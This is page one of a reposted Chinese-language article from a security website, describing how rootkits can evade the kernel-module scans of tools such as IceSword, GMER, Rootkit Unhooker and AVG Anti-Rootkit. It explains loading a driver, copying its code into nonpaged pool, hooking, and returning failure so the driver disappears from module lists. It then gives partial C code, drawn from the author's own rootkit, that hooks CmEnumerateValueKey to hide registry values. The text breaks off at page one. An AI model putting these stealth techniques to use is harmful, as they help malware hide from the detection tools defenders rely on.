安全中国首页 > 文章中心 > Linux安全
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

饶过现代Anti-Rookit工具的内核模块扫描(ZT)

更新时间:2007-12-31 0:56:14
责任编辑:阿loosen
热 点:
MJ0011
th_decoder@126 . com
2007 - 10 - 24

本文描述了一些方法,可以饶过目前主流的现代Anti - rootkit工具,包括但不限于 :
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti - rootkit最新版
等等

目前的anti - rootkit工具中,对于内核模块主要采用如下几种扫描方式 :

1. 恢复ZwQuerySystemInformation的hook , 然后利用功能号SystemModuleInformation进行枚举
例如Icesword

2. 遍历PsLoadModuleList , Driver / Device / Section Object链 , 或者TypeList链等 ( 总之是找驱动相关对象 ) 进行枚举
例如Rootkit Unhooker , Gmer等

3. 内核镜象暴力搜索 , 搜索MZ , PE等等标志结合进行判断内存里是否有PE镜象 , 如rootkit unhooker , rutkowska的modgreper等,通常只能显示为unknow image

4. 函数引用 , 各种routine\hook等 , 先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用 , 或者是根据各种 routine ( dispatch routine , IDT , Image Notfiy等 ) 或各种hook ( inline hook , iat / eat hook等等 ) ,通常只能显示为unknow image或unknow xxx handler等

5. 使用系统ImageLoad Notfiy , 使用一个BOOT驱动,记录所有模块load的消息 , 检测时进行分析 如AVG Anti - rootkit等

先说饶过 1 , 2 , 3 , 5 的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码 / 函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL .

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法

我的某个RK里是这样做的,例如A Function用来hook 系统函数B , 其中需要调用系统函数C,

那么分配一块内存,大小 = len ( A ) + sizeof ( ULONG ) * 2

在内存的前两个DWORD放OrgB , 以及C的地址,后面开始放函数代码

函数中使用call + 5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C

当然也可以在COPY入内存前自己用绝对地址定位函数 ~ 不过不如这个方法灵活

相关代码 :
//hook call CmEnumerateValueKey

void InstallCMRegHook ()
{
PVOID _CmEnumerateKeyValueLoc ;


_CmEnumerateKeyValueLoc = FindCmEnumerateValueKey ();
//找到 call CmEnumerateValueKey

HookCodeLen = ( ULONG ) NopFunc8 - ( ULONG ) NewCmEnumerateValueKey ;
//获得NewCmEnumerateValueKey长度

HookCode3 = ExAllocatePoolWithTag ( NonPagedPool ,
HookCodeLen + 4 ,
MEM_TAG_HOOKCODE3 );

//分配内存

*( ULONG *) HookCode3 = *( ULONG *) _CmEnumerateKeyValueLoc ;

//原函数地址放入内存

RtlCopyMemory (( PVOID ) HookCode3 + sizeof ( ULONG ) , ( PVOID ) NewCmEnumerateValueKey , HookCodeLen );

//copy函数代码

DO_SPINLOCK ();
*( ULONG *) _CmEnumerateValueKeyLoc = HookCode3 + sizeof ( ULONG );

//进行HOOK

EXIT_SPINLOCK ();
return ;

}

NTSTATUS NewCmEnumearateValueKey ( IN PVOID KeyControlBlock ,
IN ULONG Index ,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass ,
IN PVOID KeyValueInformation ,
IN ULONG KeyLength ,
IN PULONG ResultLength
)
{
//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画